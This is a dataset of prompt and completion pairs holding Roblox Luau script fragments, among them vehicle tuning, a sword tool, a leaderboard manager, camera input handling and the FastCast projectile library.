prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- warn(">>>>>>>>>>>>>>> Develop:",id)
script.Parent.Activated:Connect(function()
--Optional if you want your code to have an expiration
local date = os.date("*t", os.time())
--[[Drivetrain]]
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 30 -- 1 - 100% Tune.RDiffLockThres = 60 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Tool:GetAttribute("CanDamage") then return end if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) Tool:SetAttribute("CanDamage", false) humanoid:TakeDamage(Damage) wait(0.5) -- Cool down between the damages Tool:SetAttribute("CanDamage", true) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end --[[ if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end ]] wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
--// Events
local L_33_ = L_7_:WaitForChild('Equipped') local L_34_ = L_7_:WaitForChild('ShootEvent') local L_35_ = L_7_:WaitForChild('DamageEvent') local L_36_ = L_7_:WaitForChild('CreateOwner') local L_37_ = L_7_:WaitForChild('Stance') local L_38_ = L_7_:WaitForChild('HitEvent') local L_39_ = L_7_:WaitForChild('KillEvent') local L_40_ = L_7_:WaitForChild('AimEvent') local L_41_ = L_7_:WaitForChild('ExploEvent') local L_42_ = L_7_:WaitForChild('AttachEvent') local L_43_ = L_7_:WaitForChild('ServerFXEvent') local L_44_ = L_7_:WaitForChild('ChangeIDEvent')
-- Stats
local stats = { { Name = "Points", Type = "IntValue", DefaultValue = "0", }, } local function new(leaderstats) for i, stat in pairs(stats) do local leaderstat = Instance.new(stat.Type) leaderstat.Name = stat.Name leaderstat.Value = stat.DefaultValue leaderstat.Parent = leaderstats end end function LeaderboardManager.new(player) local leaderstats = Instance.new("Folder") leaderstats.Name = "CustomLeaderstats" leaderstats.Parent = player new(leaderstats) end function LeaderboardManager:getStat(player, stat) local leaderstats = player:FindFirstChild("CustomLeaderstats") if not leaderstats then return false end if leaderstats then return leaderstats:FindFirstChild(stat) end end function LeaderboardManager:setStat(player, stat, value) local stat = LeaderboardManager:getStat(player, stat) if stat then stat.Value = value end end function LeaderboardManager:incrementStat(player, stat, value) if (not value) then value = 1 end local stat = LeaderboardManager:getStat(player, stat) if stat then stat.Value = stat.Value + value end end function LeaderboardManager:decrementStat(player, stat, value) if (not value) then value = 1 end local stat = LeaderboardManager:getStat(player, stat) if stat then stat.Value = stat.Value - value end end function LeaderboardManager:resetStat(player, stat) local stat = LeaderboardManager:getStat(player, stat) if stat then for i, defaultStat in pairs(stats) do if (stat == defaultStat.Name) then stat.Value = defaultStat.DefaultValue return end end stat.Value = 0 end end function LeaderboardManager:resetStats(player) local leaderstats = player:FindFirstChild("CustomLeaderstats") if not leaderstats then return "No leaderstats found" end local stats = leaderstats:GetChildren() for i, stat in pairs(stats) do LeaderboardManager:resetStat(player, stats) end end return LeaderboardManager
--Enter the name of the model you want to go to here. ------------------------------------
modelname="teleporter1b"
-- ================================================================================ -- PUBLIC FUNCTIONS -- ================================================================================
function GuiController:SetUsingGamepad(isUsingGamepad) end -- GuiController:SetUsingGamepad() function GuiController:UpdateSpeed() end -- GuiController:UpdateSpeed() function GuiController:Start(s) speeder = s primary = speeder.main engine = speeder.engine BoostSetup() end -- GuiController:Start() function GuiController:Stop() end -- GuiController:Stop()
-- Preload assets
Assets = require(Tool.Assets); ContentProvider:PreloadAsync(Support.Values(Assets));
--Players the animation by name for the tool holder.
function AnimationPlayer:PlayAnimation(AnimationName) local Character = Tool.Parent if Character then local Humanoid = Character:FindFirstChildOfClass("Humanoid") if Humanoid then local AnimationGroup = Animationids[AnimationName] if AnimationGroup then local Animationid = AnimationGroup[Humanoid.RigType] if Animationid then local LoadedAnimation = Humanoid:LoadAnimation(GetAnimation(Animationid)) local AnimationData = AnimationSettings[AnimationName] or {} LoadedAnimation:Play(AnimationData.FadeTime,AnimationData.Weight,AnimationData.Speed) return LoadedAnimation end else warn("Missing animation name: "..tostring(AnimationName)) end end end end return AnimationPlayer
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__HDAdminMain__1 = _G.HDAdminMain; function v1.GetNotice(p1, p2) return ({ WelcomeRank = { l__HDAdminMain__1.hdAdminCoreName, "Your rank is '%s'! Click to view the commands.", { "ShowSpecificPage", "Commands", "Commands" } }, WelcomeDonor = { l__HDAdminMain__1.hdAdminCoreName, "Your're a Donor! Click to view Donor Commands.", { "ShowSpecificPage", "Special", "Donor" } }, SetRank = { l__HDAdminMain__1.hdAdminCoreName, "You've been %sed to '%s'!" }, UnlockRank = { l__HDAdminMain__1.hdAdminCoreName, "You've unlocked the rank '%s'!" }, UnRank = { l__HDAdminMain__1.hdAdminCoreName, "You've been unranked!" }, ParserInvalidCommandRank = { l__HDAdminMain__1.hdAdminCoreName, "'%s' is not a valid command! Try '%srank plr %s' instead." }, ParserInvalidCommandNormal = { l__HDAdminMain__1.hdAdminCoreName, "'%s' is not a valid command!", "" }, ParserInvalidPrefix = { l__HDAdminMain__1.hdAdminCoreName, "Invalid prefix! Try '%s%s' instead." }, ParserInvalidVipServer = { l__HDAdminMain__1.hdAdminCoreName, "You cannot use '%s' in VIP Servers." }, ParserInvalidDonor = { l__HDAdminMain__1.hdAdminCoreName, "You must be a Donor to use that command!" }, ParserInvalidLoop = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to use Loop commands!" }, ParserInvalidRank = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to use '%s'" }, ParserCommandBlock = { l__HDAdminMain__1.hdAdminCoreName, "Commands are temporarily disabled.'" }, ParserInvalidRigType = { l__HDAdminMain__1.hdAdminCoreName, "%s must be %s to use that command." }, ParserPlayerRankBlocked = { l__HDAdminMain__1.hdAdminCoreName, "You do not have the permissions to use '%s' on %s!" }, ParserSpeakerRank = { l__HDAdminMain__1.hdAdminCoreName, "You %sed %s to '%s'" }, ParserSpeakerUnrank = { l__HDAdminMain__1.hdAdminCoreName, "You unranked %s" }, ParserPlrPunished = { l__HDAdminMain__1.hdAdminCoreName, "%s must be unpunished to use that command." }, ReceivedPM = { l__HDAdminMain__1.hdAdminCoreName, "You have a message from %s! Click to open." }, RemovePermRank = { l__HDAdminMain__1.hdAdminCoreName, "Successfully unranked %s!" }, BroadcastSuccessful = { l__HDAdminMain__1.hdAdminCoreName, "Broadcast successful! Your announcement will appear shortly." }, BroadcastFailed = { l__HDAdminMain__1.hdAdminCoreName, "Broadcast failed to send." }, InformPrefix = { l__HDAdminMain__1.hdAdminCoreName, "The server prefix is '%s'" }, GetSoundSuccess = { l__HDAdminMain__1.hdAdminCoreName, "The ID of the sound playing is: %s" }, GetSoundFail = { l__HDAdminMain__1.hdAdminCoreName, "No sound is playing!" }, UnderControl = { l__HDAdminMain__1.hdAdminCoreName, "You're being controlled by %s!" }, ClickToTeleport = { "Teleport", "Click to teleport to '%s' [%s]" }, BanSuccess = { l__HDAdminMain__1.hdAdminCoreName, "Successfully banned %s! Click to view the Banland.", { "ShowSpecificPage", "Admin", "Banland" } }, UnBanSuccess = { l__HDAdminMain__1.hdAdminCoreName, "Successfully unbanned %s!" }, QualifierLimitToSelf = { l__HDAdminMain__1.hdAdminCoreName, "'%ss' can only use commands on theirself!" }, QualifierLimitToOnePerson = { l__HDAdminMain__1.hdAdminCoreName, "'%ss' can only use commands on one person at a time!" }, ScaleLimit = { l__HDAdminMain__1.hdAdminCoreName, "The ScaleLimit is %s for ranks below '%s'" }, RequestsLimit = { l__HDAdminMain__1.hdAdminCoreName, "You're sending requests too fast!" }, AlertFail = { l__HDAdminMain__1.hdAdminCoreName, "Alert failed to send." }, PollFail = { l__HDAdminMain__1.hdAdminCoreName, "Poll failed to send." }, GearBlacklist = { l__HDAdminMain__1.hdAdminCoreName, "Cannot insert gear: %s. This item has been blacklisted." }, BanFailLength = { l__HDAdminMain__1.hdAdminCoreName, "%sBan Length must be greater than 0!" }, BanFailVIPServer = { l__HDAdminMain__1.hdAdminCoreName, "%s'permBan' is prohibited on VIP Servers!" }, BanFailAllServers = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to ban players from 'all servers'." }, BanFailAlreadyBanned = { l__HDAdminMain__1.hdAdminCoreName, "%splayer has already been banned!" }, BanFailPermission = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to ban %s" }, BanFailDataNotFound = { l__HDAdminMain__1.hdAdminCoreName, "%sData not found." }, RestoreDefaultSettings = { "Settings", "Successfully restored all settings to default!" }, CommandBarLocked = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to use the commandBar%s! Rank required: '%s'" }, FollowFail = { l__HDAdminMain__1.hdAdminCoreName, "Failed to teleport. %s is not in-game." }, SaveMap1 = { l__HDAdminMain__1.hdAdminCoreName, "Saving a copy of the map..." }, SaveMap2 = { l__HDAdminMain__1.hdAdminCoreName, "Map successfully saved!" }, CommandLimit = { l__HDAdminMain__1.hdAdminCoreName, "The %s limit is %s for ranks below '%s'" }, CommandLimitPerMinute = { l__HDAdminMain__1.hdAdminCoreName, "Sending commands too fast! CommandLimitPerMinute exceeded." }, template = { l__HDAdminMain__1.hdAdminCoreName, "" } })[p2]; end; return v1;
-- This is called when settings menu is opened
function BaseCamera:ResetInputStates() self.isRightMouseDown = false self.isMiddleMouseDown = false self:OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters if UserInputService.TouchEnabled then --[[menu opening was causing serious touch issues this should disable all active touch events if they're active when menu opens.]] for inputObject in pairs(self.fingerTouches) do self.fingerTouches[inputObject] = nil end self.dynamicTouchInput = nil self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false self.startingDiff = nil self.pinchBeginZoom = nil self.numUnsunkTouches = 0 end end function BaseCamera:GetGamepadPan(name, state, input) if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
-- ==================== -- INPUTS -- List of inputs that can be customized -- ====================
Keyboard = { Reload = Enum.KeyCode.R; HoldDown = Enum.KeyCode.E; Inspect = Enum.KeyCode.F; Switch = Enum.KeyCode.V; ToogleAim = Enum.KeyCode.Q; Melee = Enum.KeyCode.H; AltFire = Enum.KeyCode.C; }; Controller = { Fire = Enum.KeyCode.ButtonR1; Reload = Enum.KeyCode.ButtonX; HoldDown = Enum.KeyCode.DPadUp; Inspect = Enum.KeyCode.DPadDown; Switch = Enum.KeyCode.DPadRight; ToogleAim = Enum.KeyCode.ButtonL1; Melee = Enum.KeyCode.ButtonR3; AltFire = Enum.KeyCode.DPadRight; };
-- Listener for changes to workspace.CurrentCamera
function BaseCamera:OnCurrentCameraChanged() if UserInputService.TouchEnabled then if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end local newCamera = game.Workspace.CurrentCamera if newCamera then self:OnViewportSizeChanged() self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() self:OnViewportSizeChanged() end) end end -- VR support additions if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() self.cameraSubjectChangedConn = nil end local camera = game.Workspace.CurrentCamera if camera then self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnNewCameraSubject() end) self:OnNewCameraSubject() end end function BaseCamera:OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then self.isDynamicThumbstickEnabled = true end end function BaseCamera:OnDynamicThumbstickDisabled() self.isDynamicThumbstickEnabled = false end function BaseCamera:OnGameSettingsTouchMovementModeChanged() if Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if UserGameSettings.TouchMovementMode.Name == "DynamicThumbstick" then self:OnDynamicThumbstickEnabled() else self:OnDynamicThumbstickDisabled() end end end function BaseCamera:OnDevTouchMovementModeChanged() if Players.LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then self:OnDynamicThumbstickEnabled() else self:OnGameSettingsTouchMovementModeChanged() end end function BaseCamera:OnPlayerCameraPropertyChange() -- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:GetCameraHeight() if VRService.VREnabled and not self.inFirstPerson then return math.sin(VR_ANGLE) * self.currentSubjectDistance end return 0 end function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity) local camera = game.Workspace.CurrentCamera if camera and camera.ViewportSize.X > 0 and camera.ViewportSize.Y > 0 and (camera.ViewportSize.Y > camera.ViewportSize.X) then -- Screen has portrait orientation, swap X and Y sensitivity return translationVector * Vector2.new( sensitivity.Y, sensitivity.X) end return translationVector * sensitivity end function BaseCamera:Enable(enable) if self.enabled ~= enable then self.enabled = enable if self.enabled then self:ConnectInputEvents() if FFlagPlayerScriptsBindAtPriority then self:BindContextActions() end if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end end else self:DisconnectInputEvents() if FFlagPlayerScriptsBindAtPriority then self:UnbindContextActions() end -- Clean up additional event listeners and reset a bunch of properties self:Cleanup() end end end function BaseCamera:GetEnabled() return self.enabled end function BaseCamera:OnInputBegan(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Down(input, processed) end -- Keyboard if not FFlagPlayerScriptsBindAtPriority then if input.UserInputType == Enum.UserInputType.Keyboard then self:OnKeyDown(input, processed) end end end function BaseCamera:OnInputChanged(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then self:OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel then self:OnMouseWheel(input, processed) end end function BaseCamera:OnInputEnded(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Up(input, processed) end -- Keyboard if not FFlagPlayerScriptsBindAtPriority then if input.UserInputType == Enum.UserInputType.Keyboard then self:OnKeyUp(input, processed) end end end function BaseCamera:ConnectInputEvents() self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) self:OnInputBegan(input, processed) end) self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed) self:OnInputChanged(input, processed) end) self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed) self:OnInputEnded(input, processed) end) self.touchActivateConn = UserInputService.TouchTapInWorld:Connect(function(touchPos, processed) self:OnTouchTap(touchPos) end) self.menuOpenedConn = GuiService.MenuOpened:connect(function() self:ResetInputStates() end) self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if self.activeGamepad ~= gamepadEnum then return end self.activeGamepad = nil self:AssignActivateGamepad() end) self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if self.activeGamepad == nil then self:AssignActivateGamepad() end end) if not FFlagPlayerScriptsBindAtPriority then self:BindGamepadInputActions() end self:AssignActivateGamepad() self:UpdateMouseBehavior() end function BaseCamera:BindContextActions() self:BindGamepadInputActions() self:BindKeyboardInputActions() end function BaseCamera:AssignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if self.activeGamepad == nil then self.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < self.activeGamepad.Value then self.activeGamepad = connectedGamepads[i] end end end if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 self.activeGamepad = Enum.UserInputType.Gamepad1 end end function BaseCamera:DisconnectInputEvents() if self.inputBeganConn then self.inputBeganConn:Disconnect() self.inputBeganConn = nil end if self.inputChangedConn then self.inputChangedConn:Disconnect() self.inputChangedConn = nil end if self.inputEndedConn then self.inputEndedConn:Disconnect() self.inputEndedConn = nil end end function BaseCamera:UnbindContextActions() for i = 1, #self.boundContextActions do ContextActionService:UnbindAction(self.boundContextActions[i]) end self.boundContextActions = {} end function BaseCamera:Cleanup() if self.menuOpenedConn then self.menuOpenedConn:Disconnect() self.menuOpenedConn = nil end if self.mouseLockToggleConn then self.mouseLockToggleConn:Disconnect() self.mouseLockToggleConn = nil end if self.gamepadConnectedConn then self.gamepadConnectedConn:Disconnect() self.gamepadConnectedConn = nil end if self.gamepadDisconnectedConn then self.gamepadDisconnectedConn:Disconnect() self.gamepadDisconnectedConn = nil end if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end if self.touchActivateConn then self.touchActivateConn:Disconnect() self.touchActivateConn = nil end self.turningLeft = false self.turningRight = false self.lastCameraTransform = nil self.lastSubjectCFrame = nil self.userPanningTheCamera = false self.rotateInput = Vector2.new() self.gamepadPanningCamera = Vector2.new(0,0) -- Reset input states self.startPos = nil self.lastPos = nil self.panBeginLook = nil self.isRightMouseDown = false self.isMiddleMouseDown = false self.fingerTouches = {} self.numUnsunkTouches = 0 self.startingDiff = nil self.pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end
--[[Weight and CG]]
Tune.Weight = 3472 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = 1 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .45 -- Front Wheel Density Tune.RWheelDensity = .45 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- local EndToCurrent_Distance = (At - Point).Magnitude -- local Change = (LastToCurrent_Distance - EndToCurrent_Distance)
LengthChanged:Fire(Origin, LastPoint, RayDir.Unit, LastToCurrent_Distance, CosmeticBulletObject) LastPoint = At if Hit then --V5: WAIT! Test if the cosmetic bullet was hit! if Hit ~= CosmeticBulletObject then --Hit something, stop the function and fire the hit event. RayHit:Fire(Hit, Point, Normal, Material, CosmeticBulletObject) return end --If we make it here, then the bullet isn't nil, and it was the hit.(The above code exits the function) --This will ignore the bullet. For this function, no changes need to be made. end DistanceTravelled = DistanceTravelled + LastToCurrent_Distance end --If we make it here, then we have exceeded the maximum distance. --As part of Ver. 4, the hit function will fire here. --V5: Changed below to return all nil values aside from the point RayHit:Fire(nil, LastPoint, nil, nil, CosmeticBulletObject) end --Fire without physics local function MainCastFireNoPhys(Origin, Direction, Velocity, Function, CosmeticBulletObject, List) local Distance = Direction.Magnitude local NormalizedDir = Direction / Distance local Direction = NormalizedDir * Distance local LastPoint = Origin local DistanceTravelled = 0 while DistanceTravelled <= Distance do local Delta = RunService.Heartbeat:Wait() local Start = Origin + (NormalizedDir * DistanceTravelled) local RayDir = NormalizedDir * Velocity * Delta local Hit, Point, Normal, Material = Function(Start, RayDir, List) local ExtraDistance = (Start - Point).Magnitude local ModifiedDistance = DistanceTravelled + ExtraDistance --Note to self: ExtraDistance will be identical to RayDir.Magnitude unless something is hit. LengthChanged:Fire(Origin, LastPoint, RayDir.Unit, ExtraDistance, CosmeticBulletObject) LastPoint = Point if Hit then --V5: WAIT! Test if the cosmetic bullet was hit! if Hit ~= CosmeticBulletObject then --Hit something, stop the function and fire the hit event. RayHit:Fire(Hit, Point, Normal, Material, CosmeticBulletObject) return end --If we make it here, then the bullet isn't nil, and it was the hit.(The above code exits the function) --In this case, we will kindly ignore the bullet. --We will also set ExtraDistance to RayDir.Magnitude (See above - These two values are identical if nothing is hit, so we need to force that behavior) ExtraDistance = RayDir.Magnitude end DistanceTravelled = DistanceTravelled + ExtraDistance end --V5: Changed below to return all nil values aside from the point RayHit:Fire(nil, LastPoint, nil, nil, CosmeticBulletObject) end --Fire a ray from origin -> direction at the specified velocity. function Caster:Fire(Origin, Direction, Velocity, CosmeticBulletObject, NoThread) --Note to scripters: 'self' is a variable lua creates when a method like ^ is run. It's an alias to the table that the function is part of (in this case, Caster) assert(Caster == self, "Expected ':' not '.' calling member function Fire") if NoThread then if UsingPhysics() then MainCastFire(Origin, Direction, Velocity, Cast, CosmeticBulletObject) else MainCastFireNoPhys(Origin, Direction, Velocity, Cast, CosmeticBulletObject) end else spawn(function () if UsingPhysics() then MainCastFire(Origin, Direction, Velocity, Cast, CosmeticBulletObject) else MainCastFireNoPhys(Origin, Direction, Velocity, Cast, CosmeticBulletObject) end end) end end --Identical to above, but with a whitelist. function Caster:FireWithWhitelist(Origin, Direction, Velocity, Whitelist, CosmeticBulletObject, NoThread) --Note to scripters: 'self' is a variable lua creates when a method like ^ is run. It's an alias to the table that the function is part of (in this case, Caster) assert(Caster == self, "Expected ':' not '.' calling member function FireWithWhitelist") if NoThread then if UsingPhysics() then MainCastFire(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist) else MainCastFireNoPhys(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist) end else spawn(function () if UsingPhysics() then MainCastFire(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist) else MainCastFireNoPhys(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist) end end) end end --Identical to above, but with a blacklist. function Caster:FireWithBlacklist(Origin, Direction, Velocity, Blacklist, CosmeticBulletObject, NoThread) --Note to scripters: 'self' is a variable lua creates when a method like ^ is run. It's an alias to the table that the function is part of (in this case, Caster) assert(Caster == self, "Expected ':' not '.' calling member function FireWithBlacklist") if NoThread then if UsingPhysics() then MainCastFire(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist) else MainCastFireNoPhys(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist) end else spawn(function () if UsingPhysics() then MainCastFire(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist) else MainCastFireNoPhys(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist) end end) end end --Indexing stuff here. --For those scripters new to Metatables, they allow you to fake information in tables by controlling how it works. --This function will be run when you try to index anything of the fastcaster. --If I were to do Caster["CoolIndex"], this function would fire, table being Caster, and Index being "CoolIndex". --This means that I can return my own value, even if "CoolIndex" isn't valid. --Neat, huh? CMeta.__index = function (Table, Index) if Table == Caster then if Index == "IgnoreDescendantsInstance" then return IgnoreDescendantsInstance elseif Index == "RayHit" then return RayHit elseif Index == "LengthChanged" then return LengthChanged elseif Index == "Gravity" then return Gravity elseif Index == "ExtraForce" then return ExtraForce elseif Index == "HasPhysics" then return UsingPhysics() end end end local IgnoreMode = false -- This is used so I can do some tricks below --Same thing as above, just tha this fires writing to the table (e.g. Caster["CoolIndex"] = "CoolValue") CMeta.__newindex = function (Table, Index, Value) if IgnoreMode then return end if Table == Caster then if Index == "IgnoreDescendantsInstance" then assert(Value == nil or typeof(Value) == "Instance", "Bad argument \"" .. Index .. "\" (Instance expected, got " .. typeof(Value) .. ")") IgnoreDescendantsInstance = Value elseif Index == "RayHit" or Index == "LengthChanged" or Index == "HasPhysics" then error("Can't set value", 0) elseif Index == "Gravity" then assert(typeof(Value) == "number", "Bad argument \"" .. Index .. "\" (number expected, got " .. typeof(Value) .. ")") Gravity = Value elseif Index == "ExtraForce" then assert(typeof(Value) == "Vector3", "Bad argument \"" .. Index .. "\" (Vector3 expected, got " .. typeof(Value) .. ")") ExtraForce = Value end end end --TRICK: I'm going to make dummy values for the properties and events. --Roblox will show these in intellesence (the thing that suggests what to type in as you go) IgnoreMode = true Caster.RayHit = RayHit Caster.LengthChanged = LengthChanged Caster.IgnoreDescendantsInstance = IgnoreDescendantsInstance Caster.Gravity = Gravity Caster.ExtraForce = ExtraForce Caster.HasPhysics = UsingPhysics() IgnoreMode = false --Better yet, while these values are just in the open, they will still be managed by the metatables. CMeta.__metatable = "FastCaster" return Caster end return FastCast
--[=[ Observes an instance's property @param instance Instance @param propertyName string @return Observable<T> ]=]
function RxInstanceUtils.observeProperty(instance, propertyName) assert(typeof(instance) == "Instance", "'instance' should be of type Instance") assert(type(propertyName) == "string", "'propertyName' should be of type string") return Observable.new(function(sub) local maid = Maid.new() maid:GiveTask(instance:GetPropertyChangedSignal(propertyName):Connect(function() sub:Fire(instance[propertyName], instance) end)) sub:Fire(instance[propertyName], instance) return maid end) end
--vvv Made by Anaminus vvv---
local function NumNormal(n) return n == 0 and 0 or n/math.abs(n) end function module.surface(part,point) local p = part.CFrame:toObjectSpace(CFrame.new(point)).p local s = part.Size local ax,ay,az = math.abs(p.x/s.x),math.abs(p.y/s.y),math.abs(p.z/s.z) return Vector3.new(NumNormal(p.x),NumNormal(p.y),NumNormal(p.z)) * Vector3.new( (ax>ay and ax>az) and 1 or 0, (ay>ax and ay>az) and 1 or 0, (az>ax and az>ay) and 1 or 0 ) end
--// F key, Horn
